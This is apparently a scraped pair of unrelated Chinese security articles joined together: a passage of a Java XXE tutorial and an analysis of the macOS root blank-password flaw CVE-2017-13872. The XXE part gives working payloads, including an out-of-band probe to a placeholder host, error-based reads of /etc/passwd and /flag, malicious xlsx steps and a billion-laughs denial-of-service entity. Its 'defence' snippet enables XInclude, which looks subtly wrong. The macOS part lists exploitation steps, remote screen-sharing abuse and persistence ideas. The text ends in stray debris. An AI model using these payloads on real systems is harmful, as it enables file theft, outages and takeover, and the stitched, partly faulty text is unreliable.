System.out.println(xml_con);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(xml_con);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历xml节点name和value
StringBuffer result = new StringBuffer();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
result.append(node.getNodeName() + ": " + node.getFirstChild().getNodeValue() + "\n");
}
}
}
sr.close();
System.out.println(result.toString());
return result.toString();
} catch (Exception e) {
System.out.println(e);
return "except";
}
}
我们使用burp比较器分析两部分代码，不能发现左边就是多了一个判断语句。（左:无回显代码 右:有回显代码）
_`if (child.item(j).getNodeType() == Node.ELEMENT_NODE)`_
正常解析XML，需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
* * *
对于这样子无回显的验证可以使用ceye.io网站，具体方法：
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE joychou [
<!ENTITY xxe SYSTEM "http://ip.port.xxxx.ceye.io/xxe_test">
]>
<root>&xxe;</root>
复测过程中遇见的小坑，个人感觉纯属玄学问题。两次请求数据几乎是一模一样的，但是返回结果愣是不一样，一个200一个400。（充分体现了挖洞得随缘，有时候姿势对了，但是结果不对可能不是你的错误）
* * *
# Xinclude
**什么是xinclude**
顾名思义，xinclude可以理解为xml
include熟悉编译/脚本语言的一定熟知，像php的include，python和java的import都是可以进行文件包含的。
**那么文件包含有什么好处？**
当然是可以使代码更整洁，我们可以将定义的功能函数放在function.php中，再在需要使用功能函数的文件中使用include包含function.php，这样就避免了重复冗余的函数定义，同样可以增加代码的可读性。故此，xinclude也不例外，它是xml标记语言中包含其他文件的方式。
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///E:/1.txt" parse="text"/>
</root>
public String xxe_xinclude_DocumentBuilder(HttpServletRequest request) {
try {
String xml_con = WebUtils.getRequestBody(request);
System.out.println(xml_con);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(xml_con);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
NodeList rootNodeList = document.getChildNodes();
String str = new String();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList xxe = rootNode.getChildNodes();
for (int j = 0; j < xxe.getLength(); j++) {
Node xxeNode = xxe.item(j);
str = str + xxeNode.getNodeValue();
System.out.println(str);
}
}
sr.close();
return str;
} catch (Exception e) {
System.out.println(e);
return "except";
}
}
* * *
## Payload分享
飘零师傅的payload：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:////%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<request>
<status>&data;</status>
</request>
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
* * *
# Poi ooxml XXE
## CVE-2014-3529
* 新建xxe.xlsx文件，修改后缀名xxe.zip解压。
* 修改[Content-Types].xml
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://xxxxx.xx.ixxo"> ]>
<x>&xxe;</x>
`后因为无法访问ceye.io网站，笔者自己在本地搭建一台服务器。推荐使用phpstudy，开启访问日志，具体方法百度。`
* 重新压缩成zip，在修改成xlsx文件。
* 上传文件
* 或者直接读取文件。
File f = new File("/path/xxe.xlsx");
FileInputStream in = new FileInputStream(f);
XSSFWorkbook wb = new XSSFWorkbook(in); // xxe vuln
XSSFSheet sheet = wb.getSheetAt(0);
int total = sheet.getLastRowNum();
for (Row row : sheet){
for (Cell cell :row){
System.out.println(cell.getStringCellValue());
}
System.out.println("expection");
}
* 看下报错，报出poi错误才是正确的。
* 查看访问记录
* 修复建议，换成3.10-FINAL版本以上
* * *
## CVE-2017-5644
其他步骤同CVE-2014-3529中的方式，这次是在 xl/workbook.xml 中注入实体:
<!DOCTYPE x [
<!ENTITY e1 "">
<!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;">
<!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;">
<!ENTITY e4 "&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;&e3;">
<!ENTITY e5 "&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;&e4;">
<!ENTITY e6 "&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;&e5;">
<!ENTITY e7 "&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;&e6;">
<!ENTITY e8 "&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;&e7;">
<!ENTITY e9 "&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;&e8;">
<!ENTITY e10 "&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;&e9;">
<!ENTITY e11 "&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;&e10;">
]>
<x>&e11;</x>
\<x>&e11;\</x> 代码引用ENTITY e11，而 e11 由16 个 e10 组成，递归调用，循环次数达到 16^10
的规模。循环大量的实体引用，会消耗大量的CPU资源，长时间显示占用近100%。
POIXMLTypeLoader 中，解析xml的时候直接读取xml，没有对实体的数量进行限制。3.11 对 POIXMLTypeLoader
中的实体大小进行了限制 ，最大为4096，但是当实体为空的时候（如上例），还是可以构造空实体，形成大量循环，占用 cpu 资源，造成拒绝服务攻击。
* * *
# xlsx-streamer XXE
xlsx-streamer XXE漏洞与Poi ooxml
XXE类似，具体查看[参考链接](https://www.itread01.com/hkpcyyp.html)笔者这里就不过多的叙述了。
* * *
# 代码审计技巧
**查找关键字**
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
…………
* * *
# XXE防御
//一般的防护
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
//xinclude防护
dbf.setXIncludeAware(true); // 支持XInclude
dbf.setNamespaceAware(true); // 支持XInclude
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
* * *
# 推荐案例
[收集了很多国内外知名厂商出现案例](https://www.cnblogs.com/backlion/p/9302528.html)
[基础知识文章XXE](https://www.freebuf.com/column/156863.html)
[XXE更多骚操作](https://xz.aliyun.com/t/3357)
[Apache Solr XXE漏洞分析 -【CVE-2018-8026 】](https://xz.aliyun.com/t/2448)
* * *
# 参考
<https://blog.csdn.net/weixin_40918067/article/details/90950535>
<https://github.com/JoyChou93/java-sec-code/wiki/XXE>
<https://blog.csdn.net/hua1017177499/article/details/78985166>
<https://p0rz9.github.io/2019/02/27/xxe/>
<https://www.anquanke.com/post/id/156227>
<https://www.jianshu.com/p/73cd11d83c30>
<https://www.itread01.com/hkpcyyp.html> | 社区文章 |
# macOS root账户登录凭据验证错误（CVE-2017-13872）漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：任子行攻防实验室
预估稿费：300
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
## 0x01 漏洞概述
开发者 Lemi Orhan Ergin 发现 MacOS High Sierra系统重大安全漏洞。 **攻击者可以在普通用户权限下获得管理员权限。**
objective-see 网站上 [Why <blank> Gets You Root](https://objective-see.com/blog/blog_0x24.html) 文章从代码层面对漏洞细节做了详细刨析。该漏洞出现在PlistFile 二进制文件的
**od_verify_crypt_password**
函数中，因为该函数使用攻击者指定的密码更新原账户的密码，并没有检查账户是否启用，导致凭据校验失败。在补丁中Apple
增加了对strcmp函数校验密码的安全性，并且对 **od_verify_crypt_password**
函数的参数做了进一步校验，后文会详细介绍漏洞原理。
## 0x02 漏洞细节
CVE
|
CVE-2017-13872
---|---
漏洞描述
|
MacOS High Sierra 系统无密码登录管理员账户
影响范围
|
macOS High Sierra 10.13、 10.13.1、10.13.2 beta
危害
|
本地提权，获取root权限
补丁
|
<https://support.apple.com/en-us/HT208315>
模块
|
opendirectoryd加载的PlistFile 二进制文件
类型
|
登陆凭据验证逻辑漏洞
## 0x03 漏洞验证
第一种利用：
1. 打开系统偏好设置
2. 进入用户&群组
3. 在用户名中输入 root
4. 点击密码输入框，并不需要输入任何内容
5. 点击解锁，这样就可以获得添加新管理员账户的权限了。
第二种利用：
1. 在登录界面选择 其他用户
2. 在用户名处输入’root’
3. 密码留空，直接登录
此方法登录会给root用户创建一个图形化账户。
## 0x04 漏洞修复
如果您需要使用root账户，您需要修改root用户密码，修改root用户密码可以阻止攻击者利用此漏洞。
1. 通过命令： sudo passwd root
2. 通过 目录实用工具 app ->编辑->更改root 密码，也可以重新设置root密码
更多信息参考Apple：<https://support.apple.com/zh-cn/HT204012>。
**值得注意的是即使停用root用户该漏洞还是可以被利用。**
Apple 对该漏洞的公告：
## 0x05 漏洞原理分析
关于该漏洞的新闻已经在网络上炸开了锅，但是还一直没看到比较好的中文版的基于代码的分析报告，这里会介绍[ Why<blank>Gets You
Root](https://objective-see.com/blog/blog_0x24.html) 这篇文章中关于漏洞代码的分析，再加上自己的理解。
从上层来分析攻击的过程。当一个用户（或是攻击者）试图登录进一个未启用的账户时，系统会创建该账户使用用户输入的任意密码，哪怕是空密码也行。这就是我们在UI界面上可以攻击成功的原因，你必须要点击2次
unlock。
当一个用户(或者攻击者）尝试认证一个帐号时，opendirectory 守护进程(opendirectoryd)会进行处理。跳过分析过程，直接查看调用栈：
opendirectoryd 进程收到一个XPC 消息，就会调用 **odm_RecordVerifyPassword** 函数，该函数再调用
**od_verify_crypt_password** 函数。这两个函数都在PlistFile 二进制文件中，该文件通过
**/System/Library/OpenDirectory/Modules/PlistFile.bundle**
包加载到opendirectoryd进程中。
开始分析 **odm_RecordVerifyPassword** 函数，该函数内部会调用sub_4f73函数，sub_4f73负责读取准备登录的用户的
shadowhash 数据，如果目标用户启用了,那么sub_4f73函数可以读取成功。
shadowhash 数据可以通过 **dscl . -read /Users/ <user>** 命令读取，也可以直接从
**/private/var/db/dslocal/nodes/Default/users/ <user>**文件读取。
如果目标账户没有启用，比如root账户作为目标， shadowhash 信息不存在， 读取会失败 （没有AuthenticationAuthority
字段）。
当shadow hash 信息没有找到，会调用 **od_verify_crypt_password** 函数。
**od_verify_crypt_password** 函数会验证用户（攻击者）输入的密码，第三个参数传入用户输入（假设是“hunter2”）的密码，
第二个参数是root 账户(未启用)的密码”*” 。
**od_verify_crypt_password** 最后返回0x1。 这就有趣了，因为返回非0值，继续执行调用_os_log_impl
函数打印日志，从日志可以看出user-record 加密密钥会被更新为shadowhash 或者 securetoken。
“found crypt password in user-record – upgrading to shadowhash or securetoken”
然而，我们跟踪更新操作的输入发现正是使用我们提供的hunter2来更新加密密钥。
这个新密码（实际是 **shadow/securetoken** ）被保存到账户（root账户）中，因此，用户（攻击者）可以登录成功。
总结：
* 目标账户是 未启用状态，MacOS 系统回尝试做一次更新密钥
* 更新过程中 **od_verify_crypt_password** 返回非0值，并且错误代码没有被检查
* 攻击者指定的密码会用来更新原账户的密码
Apple 已经修复了漏洞，该漏洞类型是 **登录凭据验证存在逻辑错误。**
patch 代码升级了凭据验证流程， **od_verify_crypt_password** 函数内使用strcmp 检查密码， 如果一样会将第四个参数
（var_54）设置为0，在 **od_verify_crypt_password** 上层不仅会检查返回值，而且增加了对参数var_54 的检查。
更多相关咨询：<https://objective-see.com/blog/blog_0x24.html>
## 0x06 远程利用此漏洞
如果有漏洞的MacOS High Sierra系统开启了“屏幕共享”功能，那么攻击者就可以通过屏幕共享功能利用此漏洞达到远程代码执行的能力。
攻击环境：
* 一台Mac电脑
* 在VMWare 虚拟机中安装MacOS High Sierra 10.13 以上版本系统
* MacOS High Sierra 10.13 系统开启屏幕共享功能
借助漏洞使用root 用户免密码登录, 输入root用户名，直接点击连接即可成功登录。
登录成功以后，可以看到2种登录模式：
* 请求权限模式，会提醒受害者有人远程连接
* 以本人身份模式，不会提醒受害者
使用第一种模式：请求权限模式登录，会给用户弹窗提示“共享屏幕请求”。
使用第二种模式：本人身份模式登录，攻击者远程监控受害者屏幕。
以上攻击过程可以稳定利用，并且攻击成本非常低，但是再精心设计的攻击过程也会露出马脚，下面介绍利用 屏幕共享攻击的缺点。
屏幕共享软件是Mac
系统预装的应用，并且和Mac系统使用同一套账户系统，所以上述远程攻击中使用的root用户在屏幕共享软件中也存在。当远程用户（攻击者）通过了验证以后，在受害者系统的菜单栏会多出一个提示图标，当受害人发现菜单栏
右上角桌面共享提示，可以主动断开远程连接阻断攻击者的连接。
攻击者一侧会自动断开屏幕共享。
以上我们介绍了攻击者该如何利用此漏洞远程攻击Mac电脑，并且介绍了
受害人该如何发现自己是否被攻击的方法。以上都是演示环境可能并不能满足攻击者的欲望，假想经验丰富的攻击者可能会用更高级的手法达到长期监控的目的，比如：先通过屏幕共享以“本人身份root”登录，进入目标系统以后快速修改root密码，然后可以植入后门程序或者开启ssh
服务达到长期隐秘监控的目的。我们再次建议受影响的用户赶快在App Store中升级最新的系统安全更新。
## 参考：
<https://objective-see.com/blog/blog_0x24.html>
<https://support.apple.com/en-us/HT208315> | 社区文章 |
Subsets and Splits